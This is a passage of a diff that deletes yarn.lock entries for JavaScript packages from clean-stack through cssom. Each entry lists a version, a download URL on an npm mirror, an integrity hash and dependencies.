-clean-stack@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.nlark.com/clean-stack/download/clean-stack-2.2.0.tgz?cache=0&sync_timestamp=1621915066376&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fclean-stack%2Fdownload%2Fclean-stack-2.2.0.tgz#ee8472dbb129e727b31e8a10a427dee9dfe4008b"
-  integrity sha1-7oRy27Ep5yezHooQpCfe6d/kAIs=
-
-cliui@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.npm.taobao.org/cliui/download/cliui-5.0.0.tgz#deefcfdb2e800784aa34f46fa08e06851c7bbbc5"
-  integrity sha1-3u/P2y6AB4SqNPRvoI4GhRx7u8U=
-  dependencies:
-    string-width "^3.1.0"
-    strip-ansi "^5.2.0"
-    wrap-ansi "^5.1.0"
-
-cliui@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.npm.taobao.org/cliui/download/cliui-6.0.0.tgz#511d702c0c4e41ca156d7d0e96021f23e13225b1"
-  integrity sha1-UR1wLAxOQcoVbX0OlgIfI+EyJbE=
-  dependencies:
-    string-width "^4.2.0"
-    strip-ansi "^6.0.0"
-    wrap-ansi "^6.2.0"
-
-co@^4.6.0:
-  version "4.6.0"
-  resolved "https://registry.nlark.com/co/download/co-4.6.0.tgz?cache=0&sync_timestamp=1618847008095&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fco%2Fdownload%2Fco-4.6.0.tgz#6ea6bdf3d853ae54ccb8e47bfa0bf3f9031fb184"
-  integrity sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=
-
-coa@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/coa/download/coa-2.0.2.tgz#43f6c21151b4ef2bf57187db0d73de229e3e7ec3"
-  integrity sha1-Q/bCEVG07yv1cYfbDXPeIp4+fsM=
-  dependencies:
-    "@types/q" "^1.5.1"
-    chalk "^2.4.1"
-    q "^1.1.2"
-
-collect-v8-coverage@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/collect-v8-coverage/download/collect-v8-coverage-1.0.1.tgz#cc2c8e94fc18bbdffe64d6534570c8a673b27f59"
-  integrity sha1-zCyOlPwYu9/+ZNZTRXDIpnOyf1k=
-
-collection-visit@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/collection-visit/download/collection-visit-1.0.0.tgz#4bc0373c164bc3291b4d368c829cf1a80a59dca0"
-  integrity sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=
-  dependencies:
-    map-visit "^1.0.0"
-    object-visit "^1.0.0"
-
-color-convert@^1.9.0, color-convert@^1.9.1:
-  version "1.9.3"
-  resolved "https://registry.npm.taobao.org/color-convert/download/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
-  integrity sha1-u3GFBpDh8TZWfeYp0tVHHe2kweg=
-  dependencies:
-    color-name "1.1.3"
-
-color-convert@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/color-convert/download/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
-  integrity sha1-ctOmjVmMm9s68q0ehPIdiWq9TeM=
-  dependencies:
-    color-name "~1.1.4"
-
-color-name@1.1.3:
-  version "1.1.3"
-  resolved "https://registry.npm.taobao.org/color-name/download/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
-  integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=
-
-color-name@^1.0.0, color-name@~1.1.4:
-  version "1.1.4"
-  resolved "https://registry.npm.taobao.org/color-name/download/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
-  integrity sha1-wqCah6y95pVD3m9j+jmVyCbFNqI=
-
-color-string@^1.5.4:
-  version "1.5.5"
-  resolved "https://registry.npm.taobao.org/color-string/download/color-string-1.5.5.tgz?cache=0&sync_timestamp=1614967287897&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcolor-string%2Fdownload%2Fcolor-string-1.5.5.tgz#65474a8f0e7439625f3d27a6a19d89fc45223014"
-  integrity sha1-ZUdKjw50OWJfPSemoZ2J/EUiMBQ=
-  dependencies:
-    color-name "^1.0.0"
-    simple-swizzle "^0.2.2"
-
-color@^3.0.0:
-  version "3.1.3"
-  resolved "https://registry.npm.taobao.org/color/download/color-3.1.3.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcolor%2Fdownload%2Fcolor-3.1.3.tgz#ca67fb4e7b97d611dcde39eceed422067d91596e"
-  integrity sha1-ymf7TnuX1hHc3jns7tQiBn2RWW4=
-  dependencies:
-    color-convert "^1.9.1"
-    color-string "^1.5.4"
-
-colorette@^1.2.1, colorette@^1.2.2:
-  version "1.2.2"
-  resolved "https://registry.npm.taobao.org/colorette/download/colorette-1.2.2.tgz?cache=0&sync_timestamp=1614259647923&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcolorette%2Fdownload%2Fcolorette-1.2.2.tgz#cbcc79d5e99caea2dbf10eb3a26fd8b3e6acfa94"
-  integrity sha1-y8x51emcrqLb8Q6zom/Ys+as+pQ=
-
-combined-stream@^1.0.8:
-  version "1.0.8"
-  resolved "https://registry.npm.taobao.org/combined-stream/download/combined-stream-1.0.8.tgz#c3d45a8b34fd730631a110a8a2520682b31d5a7f"
-  integrity sha1-w9RaizT9cwYxoRCoolIGgrMdWn8=
-  dependencies:
-    delayed-stream "~1.0.0"
-
-commander@^2.20.0:
-  version "2.20.3"
-  resolved "https://registry.nlark.com/commander/download/commander-2.20.3.tgz?cache=0&sync_timestamp=1622954251160&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcommander%2Fdownload%2Fcommander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33"
-  integrity sha1-/UhehMA+tIgcIHIrpIA16FMa6zM=
-
-commander@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.nlark.com/commander/download/commander-4.1.1.tgz?cache=0&sync_timestamp=1622954251160&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcommander%2Fdownload%2Fcommander-4.1.1.tgz#9fd602bd936294e9e9ef46a3f4d6964044b18068"
-  integrity sha1-n9YCvZNilOnp70aj9NaWQESxgGg=
-
-common-tags@^1.8.0:
-  version "1.8.0"
-  resolved "https://registry.npm.taobao.org/common-tags/download/common-tags-1.8.0.tgz#8e3153e542d4a39e9b10554434afaaf98956a937"
-  integrity sha1-jjFT5ULUo56bEFVENK+q+YlWqTc=
-
-commondir@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/commondir/download/commondir-1.0.1.tgz#ddd800da0c66127393cca5950ea968a3aaf1253b"
-  integrity sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=
-
-component-emitter@^1.2.1:
-  version "1.3.0"
-  resolved "https://registry.npm.taobao.org/component-emitter/download/component-emitter-1.3.0.tgz#16e4070fba8ae29b679f2215853ee181ab2eabc0"
-  integrity sha1-FuQHD7qK4ptnnyIVhT7hgasuq8A=
-
-compose-function@3.0.3:
-  version "3.0.3"
-  resolved "https://registry.npm.taobao.org/compose-function/download/compose-function-3.0.3.tgz#9ed675f13cc54501d30950a486ff6a7ba3ab185f"
-  integrity sha1-ntZ18TzFRQHTCVCkhv9qe6OrGF8=
-  dependencies:
-    arity-n "^1.0.4"
-
-compressible@~2.0.16:
-  version "2.0.18"
-  resolved "https://registry.npm.taobao.org/compressible/download/compressible-2.0.18.tgz#af53cca6b070d4c3c0750fbd77286a6d7cc46fba"
-  integrity sha1-r1PMprBw1MPAdQ+9dyhqbXzEb7o=
-  dependencies:
-    mime-db ">= 1.43.0 < 2"
-
-compression@^1.7.4:
-  version "1.7.4"
-  resolved "https://registry.npm.taobao.org/compression/download/compression-1.7.4.tgz#95523eff170ca57c29a0ca41e6fe131f41e5bb8f"
-  integrity sha1-lVI+/xcMpXwpoMpB5v4TH0Hlu48=
-  dependencies:
-    accepts "~1.3.5"
-    bytes "3.0.0"
-    compressible "~2.0.16"
-    debug "2.6.9"
-    on-headers "~1.0.2"
-    safe-buffer "5.1.2"
-    vary "~1.1.2"
-
-concat-map@0.0.1:
-  version "0.0.1"
-  resolved "https://registry.npm.taobao.org/concat-map/download/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
-  integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=
-
-concat-stream@^1.5.0:
-  version "1.6.2"
-  resolved "https://registry.npm.taobao.org/concat-stream/download/concat-stream-1.6.2.tgz#904bdf194cd3122fc675c77fc4ac3d4ff0fd1a34"
-  integrity sha1-kEvfGUzTEi/Gdcd/xKw9T/D9GjQ=
-  dependencies:
-    buffer-from "^1.0.0"
-    inherits "^2.0.3"
-    readable-stream "^2.2.2"
-    typedarray "^0.0.6"
-
-confusing-browser-globals@^1.0.10:
-  version "1.0.10"
-  resolved "https://registry.npm.taobao.org/confusing-browser-globals/download/confusing-browser-globals-1.0.10.tgz#30d1e7f3d1b882b25ec4933d1d1adac353d20a59"
-  integrity sha1-MNHn89G4grJexJM9HRraw1PSClk=
-
-connect-history-api-fallback@^1.6.0:
-  version "1.6.0"
-  resolved "https://registry.npm.taobao.org/connect-history-api-fallback/download/connect-history-api-fallback-1.6.0.tgz#8b32089359308d111115d81cad3fceab888f97bc"
-  integrity sha1-izIIk1kwjRERFdgcrT/Oq4iPl7w=
-
-console-browserify@^1.1.0:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/console-browserify/download/console-browserify-1.2.0.tgz#67063cef57ceb6cf4993a2ab3a55840ae8c49336"
-  integrity sha1-ZwY871fOts9Jk6KrOlWECujEkzY=
-
-constants-browserify@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/constants-browserify/download/constants-browserify-1.0.0.tgz#c20b96d8c617748aaf1c16021760cd27fcb8cb75"
-  integrity sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U=
-
-content-disposition@0.5.3:
-  version "0.5.3"
-  resolved "https://registry.npm.taobao.org/content-disposition/download/content-disposition-0.5.3.tgz#e130caf7e7279087c5616c2007d0485698984fbd"
-  integrity sha1-4TDK9+cnkIfFYWwgB9BIVpiYT70=
-  dependencies:
-    safe-buffer "5.1.2"
-
-content-type@~1.0.4:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/content-type/download/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b"
-  integrity sha1-4TjMdeBAxyexlm/l5fjJruJW/js=
-
-convert-source-map@1.7.0, convert-source-map@^1.4.0, convert-source-map@^1.6.0, convert-source-map@^1.7.0:
-  version "1.7.0"
-  resolved "https://registry.npm.taobao.org/convert-source-map/download/convert-source-map-1.7.0.tgz#17a2cb882d7f77d3490585e2ce6c524424a3a442"
-  integrity sha1-F6LLiC1/d9NJBYXizmxSRCSjpEI=
-  dependencies:
-    safe-buffer "~5.1.1"
-
-convert-source-map@^0.3.3:
-  version "0.3.5"
-  resolved "https://registry.npm.taobao.org/convert-source-map/download/convert-source-map-0.3.5.tgz#f1d802950af7dd2631a1febe0596550c86ab3190"
-  integrity sha1-8dgClQr33SYxof6+BZZVDIarMZA=
-
-cookie-signature@1.0.6:
-  version "1.0.6"
-  resolved "https://registry.npm.taobao.org/cookie-signature/download/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c"
-  integrity sha1-4wOogrNCzD7oylE6eZmXNNqzriw=
-
-cookie@0.4.0:
-  version "0.4.0"
-  resolved "https://registry.npm.taobao.org/cookie/download/cookie-0.4.0.tgz#beb437e7022b3b6d49019d088665303ebe9c14ba"
-  integrity sha1-vrQ35wIrO21JAZ0IhmUwPr6cFLo=
-
-copy-concurrently@^1.0.0:
-  version "1.0.5"
-  resolved "https://registry.npm.taobao.org/copy-concurrently/download/copy-concurrently-1.0.5.tgz#92297398cae34937fcafd6ec8139c18051f0b5e0"
-  integrity sha1-kilzmMrjSTf8r9bsgTnBgFHwteA=
-  dependencies:
-    aproba "^1.1.1"
-    fs-write-stream-atomic "^1.0.8"
-    iferr "^0.1.5"
-    mkdirp "^0.5.1"
-    rimraf "^2.5.4"
-    run-queue "^1.0.0"
-
-copy-descriptor@^0.1.0:
-  version "0.1.1"
-  resolved "https://registry.npm.taobao.org/copy-descriptor/download/copy-descriptor-0.1.1.tgz#676f6eb3c39997c2ee1ac3a924fd6124748f578d"
-  integrity sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=
-
-core-js-compat@^3.6.2, core-js-compat@^3.9.0, core-js-compat@^3.9.1:
-  version "3.14.0"
-  resolved "https://registry.nlark.com/core-js-compat/download/core-js-compat-3.14.0.tgz?cache=0&sync_timestamp=1622879509086&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcore-js-compat%2Fdownload%2Fcore-js-compat-3.14.0.tgz#b574dabf29184681d5b16357bd33d104df3d29a5"
-  integrity sha1-tXTavykYRoHVsWNXvTPRBN89KaU=
-  dependencies:
-    browserslist "^4.16.6"
-    semver "7.0.0"
-
-core-js-pure@^3.0.0:
-  version "3.14.0"
-  resolved "https://registry.nlark.com/core-js-pure/download/core-js-pure-3.14.0.tgz#72bcfacba74a65ffce04bf94ae91d966e80ee553"
-  integrity sha1-crz6y6dKZf/OBL+UrpHZZugO5VM=
-
-core-js@^2.4.0:
-  version "2.6.12"
-  resolved "https://registry.nlark.com/core-js/download/core-js-2.6.12.tgz?cache=0&sync_timestamp=1622879483099&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcore-js%2Fdownload%2Fcore-js-2.6.12.tgz#d9333dfa7b065e347cc5682219d6f690859cc2ec"
-  integrity sha1-2TM9+nsGXjR8xWgiGdb2kIWcwuw=
-
-core-js@^3.6.5:
-  version "3.14.0"
-  resolved "https://registry.nlark.com/core-js/download/core-js-3.14.0.tgz?cache=0&sync_timestamp=1622879483099&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcore-js%2Fdownload%2Fcore-js-3.14.0.tgz#62322b98c71cc2018b027971a69419e2425c2a6c"
-  integrity sha1-YjIrmMccwgGLAnlxppQZ4kJcKmw=
-
-core-util-is@~1.0.0:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/core-util-is/download/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7"
-  integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=
-
-cosmiconfig@^5.0.0:
-  version "5.2.1"
-  resolved "https://registry.npm.taobao.org/cosmiconfig/download/cosmiconfig-5.2.1.tgz#040f726809c591e77a17c0a3626ca45b4f168b1a"
-  integrity sha1-BA9yaAnFked6F8CjYmykW08Wixo=
-  dependencies:
-    import-fresh "^2.0.0"
-    is-directory "^0.3.1"
-    js-yaml "^3.13.1"
-    parse-json "^4.0.0"
-
-cosmiconfig@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.npm.taobao.org/cosmiconfig/download/cosmiconfig-6.0.0.tgz#da4fee853c52f6b1e6935f41c1a2fc50bd4a9982"
-  integrity sha1-2k/uhTxS9rHmk19BwaL8UL1KmYI=
-  dependencies:
-    "@types/parse-json" "^4.0.0"
-    import-fresh "^3.1.0"
-    parse-json "^5.0.0"
-    path-type "^4.0.0"
-    yaml "^1.7.2"
-
-cosmiconfig@^7.0.0:
-  version "7.0.0"
-  resolved "https://registry.npm.taobao.org/cosmiconfig/download/cosmiconfig-7.0.0.tgz#ef9b44d773959cae63ddecd122de23853b60f8d3"
-  integrity sha1-75tE13OVnK5j3ezRIt4jhTtg+NM=
-  dependencies:
-    "@types/parse-json" "^4.0.0"
-    import-fresh "^3.2.1"
-    parse-json "^5.0.0"
-    path-type "^4.0.0"
-    yaml "^1.10.0"
-
-create-ecdh@^4.0.0:
-  version "4.0.4"
-  resolved "https://registry.npm.taobao.org/create-ecdh/download/create-ecdh-4.0.4.tgz#d6e7f4bffa66736085a0762fd3a632684dabcc4e"
-  integrity sha1-1uf0v/pmc2CFoHYv06YyaE2rzE4=
-  dependencies:
-    bn.js "^4.1.0"
-    elliptic "^6.5.3"
-
-create-hash@^1.1.0, create-hash@^1.1.2, create-hash@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/create-hash/download/create-hash-1.2.0.tgz#889078af11a63756bcfb59bd221996be3a9ef196"
-  integrity sha1-iJB4rxGmN1a8+1m9IhmWvjqe8ZY=
-  dependencies:
-    cipher-base "^1.0.1"
-    inherits "^2.0.1"
-    md5.js "^1.3.4"
-    ripemd160 "^2.0.1"
-    sha.js "^2.4.0"
-
-create-hmac@^1.1.0, create-hmac@^1.1.4, create-hmac@^1.1.7:
-  version "1.1.7"
-  resolved "https://registry.npm.taobao.org/create-hmac/download/create-hmac-1.1.7.tgz#69170c78b3ab957147b2b8b04572e47ead2243ff"
-  integrity sha1-aRcMeLOrlXFHsriwRXLkfq0iQ/8=
-  dependencies:
-    cipher-base "^1.0.3"
-    create-hash "^1.1.0"
-    inherits "^2.0.1"
-    ripemd160 "^2.0.0"
-    safe-buffer "^5.0.1"
-    sha.js "^2.4.8"
-
-cross-spawn@7.0.3, cross-spawn@^7.0.0, cross-spawn@^7.0.2:
-  version "7.0.3"
-  resolved "https://registry.npm.taobao.org/cross-spawn/download/cross-spawn-7.0.3.tgz#f73a85b9d5d41d045551c177e2882d4ac85728a6"
-  integrity sha1-9zqFudXUHQRVUcF34ogtSshXKKY=
-  dependencies:
-    path-key "^3.1.0"
-    shebang-command "^2.0.0"
-    which "^2.0.1"
-
-cross-spawn@^6.0.0:
-  version "6.0.5"
-  resolved "https://registry.npm.taobao.org/cross-spawn/download/cross-spawn-6.0.5.tgz#4a5ec7c64dfae22c3a14124dbacdee846d80cbc4"
-  integrity sha1-Sl7Hxk364iw6FBJNus3uhG2Ay8Q=
-  dependencies:
-    nice-try "^1.0.4"
-    path-key "^2.0.1"
-    semver "^5.5.0"
-    shebang-command "^1.2.0"
-    which "^1.2.9"
-
-crypto-browserify@^3.11.0:
-  version "3.12.0"
-  resolved "https://registry.npm.taobao.org/crypto-browserify/download/crypto-browserify-3.12.0.tgz#396cf9f3137f03e4b8e532c58f698254e00f80ec"
-  integrity sha1-OWz58xN/A+S45TLFj2mCVOAPgOw=
-  dependencies:
-    browserify-cipher "^1.0.0"
-    browserify-sign "^4.0.0"
-    create-ecdh "^4.0.0"
-    create-hash "^1.1.0"
-    create-hmac "^1.1.0"
-    diffie-hellman "^5.0.0"
-    inherits "^2.0.1"
-    pbkdf2 "^3.0.3"
-    public-encrypt "^4.0.0"
-    randombytes "^2.0.0"
-    randomfill "^1.0.3"
-
-crypto-random-string@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/crypto-random-string/download/crypto-random-string-1.0.0.tgz?cache=0&sync_timestamp=1617610491419&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcrypto-random-string%2Fdownload%2Fcrypto-random-string-1.0.0.tgz#a230f64f568310e1498009940790ec99545bca7e"
-  integrity sha1-ojD2T1aDEOFJgAmUB5DsmVRbyn4=
-
-css-blank-pseudo@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.npm.taobao.org/css-blank-pseudo/download/css-blank-pseudo-0.1.4.tgz#dfdefd3254bf8a82027993674ccf35483bfcb3c5"
-  integrity sha1-3979MlS/ioICeZNnTM81SDv8s8U=
-  dependencies:
-    postcss "^7.0.5"
-
-css-color-names@0.0.4, css-color-names@^0.0.4:
-  version "0.0.4"
-  resolved "https://registry.npm.taobao.org/css-color-names/download/css-color-names-0.0.4.tgz#808adc2e79cf84738069b646cb20ec27beb629e0"
-  integrity sha1-gIrcLnnPhHOAabZGyyDsJ762KeA=
-
-css-declaration-sorter@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/css-declaration-sorter/download/css-declaration-sorter-4.0.1.tgz?cache=0&sync_timestamp=1620754788631&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcss-declaration-sorter%2Fdownload%2Fcss-declaration-sorter-4.0.1.tgz#c198940f63a76d7e36c1e71018b001721054cb22"
-  integrity sha1-wZiUD2OnbX42wecQGLABchBUyyI=
-  dependencies:
-    postcss "^7.0.1"
-    timsort "^0.3.0"
-
-css-has-pseudo@^0.10.0:
-  version "0.10.0"
-  resolved "https://registry.npm.taobao.org/css-has-pseudo/download/css-has-pseudo-0.10.0.tgz#3c642ab34ca242c59c41a125df9105841f6966ee"
-  integrity sha1-PGQqs0yiQsWcQaEl35EFhB9pZu4=
-  dependencies:
-    postcss "^7.0.6"
-    postcss-selector-parser "^5.0.0-rc.4"
-
-css-loader@4.3.0:
-  version "4.3.0"
-  resolved "https://registry.nlark.com/css-loader/download/css-loader-4.3.0.tgz#c888af64b2a5b2e85462c72c0f4a85c7e2e0821e"
-  integrity sha1-yIivZLKlsuhUYscsD0qFx+Lggh4=
-  dependencies:
-    camelcase "^6.0.0"
-    cssesc "^3.0.0"
-    icss-utils "^4.1.1"
-    loader-utils "^2.0.0"
-    postcss "^7.0.32"
-    postcss-modules-extract-imports "^2.0.0"
-    postcss-modules-local-by-default "^3.0.3"
-    postcss-modules-scope "^2.2.0"
-    postcss-modules-values "^3.0.0"
-    postcss-value-parser "^4.1.0"
-    schema-utils "^2.7.1"
-    semver "^7.3.2"
-
-css-prefers-color-scheme@^3.1.1:
-  version "3.1.1"
-  resolved "https://registry.npm.taobao.org/css-prefers-color-scheme/download/css-prefers-color-scheme-3.1.1.tgz#6f830a2714199d4f0d0d0bb8a27916ed65cff1f4"
-  integrity sha1-b4MKJxQZnU8NDQu4onkW7WXP8fQ=
-  dependencies:
-    postcss "^7.0.5"
-
-css-select-base-adapter@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.npm.taobao.org/css-select-base-adapter/download/css-select-base-adapter-0.1.1.tgz#3b2ff4972cc362ab88561507a95408a1432135d7"
-  integrity sha1-Oy/0lyzDYquIVhUHqVQIoUMhNdc=
-
-css-select@^2.0.0, css-select@^2.0.2:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/css-select/download/css-select-2.1.0.tgz?cache=0&sync_timestamp=1622994276976&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcss-select%2Fdownload%2Fcss-select-2.1.0.tgz#6a34653356635934a81baca68d0255432105dbef"
-  integrity sha1-ajRlM1ZjWTSoG6ymjQJVQyEF2+8=
-  dependencies:
-    boolbase "^1.0.0"
-    css-what "^3.2.1"
-    domutils "^1.7.0"
-    nth-check "^1.0.2"
-
-css-tree@1.0.0-alpha.37:
-  version "1.0.0-alpha.37"
-  resolved "https://registry.npm.taobao.org/css-tree/download/css-tree-1.0.0-alpha.37.tgz?cache=0&sync_timestamp=1617191696722&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcss-tree%2Fdownload%2Fcss-tree-1.0.0-alpha.37.tgz#98bebd62c4c1d9f960ec340cf9f7522e30709a22"
-  integrity sha1-mL69YsTB2flg7DQM+fdSLjBwmiI=
-  dependencies:
-    mdn-data "2.0.4"
-    source-map "^0.6.1"
-
-css-tree@^1.1.2:
-  version "1.1.3"
-  resolved "https://registry.npm.taobao.org/css-tree/download/css-tree-1.1.3.tgz?cache=0&sync_timestamp=1617191696722&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcss-tree%2Fdownload%2Fcss-tree-1.1.3.tgz#eb4870fb6fd7707327ec95c2ff2ab09b5e8db91d"
-  integrity sha1-60hw+2/XcHMn7JXC/yqwm16NuR0=
-  dependencies:
-    mdn-data "2.0.14"
-    source-map "^0.6.1"
-
-css-what@^3.2.1:
-  version "3.4.2"
-  resolved "https://registry.nlark.com/css-what/download/css-what-3.4.2.tgz?cache=0&sync_timestamp=1622227499755&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcss-what%2Fdownload%2Fcss-what-3.4.2.tgz#ea7026fcb01777edbde52124e21f327e7ae950e4"
-  integrity sha1-6nAm/LAXd+295SEk4h8yfnrpUOQ=
-
-css.escape@^1.5.1:
-  version "1.5.1"
-  resolved "https://registry.npm.taobao.org/css.escape/download/css.escape-1.5.1.tgz#42e27d4fa04ae32f931a4b4d4191fa9cddee97cb"
-  integrity sha1-QuJ9T6BK4y+TGktNQZH6nN3ul8s=
-
-css@^2.0.0:
-  version "2.2.4"
-  resolved "https://registry.npm.taobao.org/css/download/css-2.2.4.tgz#c646755c73971f2bba6a601e2cf2fd71b1298929"
-  integrity sha1-xkZ1XHOXHyu6amAeLPL9cbEpiSk=
-  dependencies:
-    inherits "^2.0.3"
-    source-map "^0.6.1"
-    source-map-resolve "^0.5.2"
-    urix "^0.1.0"
-
-css@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/css/download/css-3.0.0.tgz#4447a4d58fdd03367c516ca9f64ae365cee4aa5d"
-  integrity sha1-REek1Y/dAzZ8UWyp9krjZc7kql0=
-  dependencies:
-    inherits "^2.0.4"
-    source-map "^0.6.1"
-    source-map-resolve "^0.6.0"
-
-cssdb@^4.4.0:
-  version "4.4.0"
-  resolved "https://registry.npm.taobao.org/cssdb/download/cssdb-4.4.0.tgz#3bf2f2a68c10f5c6a08abd92378331ee803cddb0"
-  integrity sha1-O/LypowQ9cagir2SN4Mx7oA83bA=
-
-cssesc@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/cssesc/download/cssesc-2.0.0.tgz#3b13bd1bb1cb36e1bcb5a4dcd27f54c5dcb35703"
-  integrity sha1-OxO9G7HLNuG8taTc0n9UxdyzVwM=
-
-cssesc@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/cssesc/download/cssesc-3.0.0.tgz#37741919903b868565e1c09ea747445cd18983ee"
-  integrity sha1-N3QZGZA7hoVl4cCep0dEXNGJg+4=
-
-cssnano-preset-default@^4.0.8:
-  version "4.0.8"
-  resolved "https://registry.nlark.com/cssnano-preset-default/download/cssnano-preset-default-4.0.8.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcssnano-preset-default%2Fdownload%2Fcssnano-preset-default-4.0.8.tgz#920622b1fc1e95a34e8838203f1397a504f2d3ff"
-  integrity sha1-kgYisfwelaNOiDggPxOXpQTy0/8=
-  dependencies:
-    css-declaration-sorter "^4.0.1"
-    cssnano-util-raw-cache "^4.0.1"
-    postcss "^7.0.0"
-    postcss-calc "^7.0.1"
-    postcss-colormin "^4.0.3"
-    postcss-convert-values "^4.0.1"
-    postcss-discard-comments "^4.0.2"
-    postcss-discard-duplicates "^4.0.2"
-    postcss-discard-empty "^4.0.1"
-    postcss-discard-overridden "^4.0.1"
-    postcss-merge-longhand "^4.0.11"
-    postcss-merge-rules "^4.0.3"
-    postcss-minify-font-values "^4.0.2"
-    postcss-minify-gradients "^4.0.2"
-    postcss-minify-params "^4.0.2"
-    postcss-minify-selectors "^4.0.2"
-    postcss-normalize-charset "^4.0.1"
-    postcss-normalize-display-values "^4.0.2"
-    postcss-normalize-positions "^4.0.2"
-    postcss-normalize-repeat-style "^4.0.2"
-    postcss-normalize-string "^4.0.2"
-    postcss-normalize-timing-functions "^4.0.2"
-    postcss-normalize-unicode "^4.0.1"
-    postcss-normalize-url "^4.0.1"
-    postcss-normalize-whitespace "^4.0.2"
-    postcss-ordered-values "^4.1.2"
-    postcss-reduce-initial "^4.0.3"
-    postcss-reduce-transforms "^4.0.2"
-    postcss-svgo "^4.0.3"
-    postcss-unique-selectors "^4.0.1"
-
-cssnano-util-get-arguments@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/cssnano-util-get-arguments/download/cssnano-util-get-arguments-4.0.0.tgz#ed3a08299f21d75741b20f3b81f194ed49cc150f"
-  integrity sha1-7ToIKZ8h11dBsg87gfGU7UnMFQ8=
-
-cssnano-util-get-match@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/cssnano-util-get-match/download/cssnano-util-get-match-4.0.0.tgz#c0e4ca07f5386bb17ec5e52250b4f5961365156d"
-  integrity sha1-wOTKB/U4a7F+xeUiULT1lhNlFW0=
-
-cssnano-util-raw-cache@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/cssnano-util-raw-cache/download/cssnano-util-raw-cache-4.0.1.tgz#b26d5fd5f72a11dfe7a7846fb4c67260f96bf282"
-  integrity sha1-sm1f1fcqEd/np4RvtMZyYPlr8oI=
-  dependencies:
-    postcss "^7.0.0"
-
-cssnano-util-same-parent@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/cssnano-util-same-parent/download/cssnano-util-same-parent-4.0.1.tgz#574082fb2859d2db433855835d9a8456ea18bbf3"
-  integrity sha1-V0CC+yhZ0ttDOFWDXZqEVuoYu/M=
-
-cssnano@^4.1.10:
-  version "4.1.11"
-  resolved "https://registry.nlark.com/cssnano/download/cssnano-4.1.11.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcssnano%2Fdownload%2Fcssnano-4.1.11.tgz#c7b5f5b81da269cb1fd982cb960c1200910c9a99"
-  integrity sha1-x7X1uB2iacsf2YLLlgwSAJEMmpk=
-  dependencies:
-    cosmiconfig "^5.0.0"
-    cssnano-preset-default "^4.0.8"
-    is-resolvable "^1.0.0"
-    postcss "^7.0.0"
-
-csso@^4.0.2:
-  version "4.2.0"
-  resolved "https://registry.npm.taobao.org/csso/download/csso-4.2.0.tgz#ea3a561346e8dc9f546d6febedd50187cf389529"
-  integrity sha1-6jpWE0bo3J9UbW/r7dUBh884lSk=
-  dependencies:
-    css-tree "^1.1.2"
-
-cssom@^0.4.4:
-  version "0.4.4"
